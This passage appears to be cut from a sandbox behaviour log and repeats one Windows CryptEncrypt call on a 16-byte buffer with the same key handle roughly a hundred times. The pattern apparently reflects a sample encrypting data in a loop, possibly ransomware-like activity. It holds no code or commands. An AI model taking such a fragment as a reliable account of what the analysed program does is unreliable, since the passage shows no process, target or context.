pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.412] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.413] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.414] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.415] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.416] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 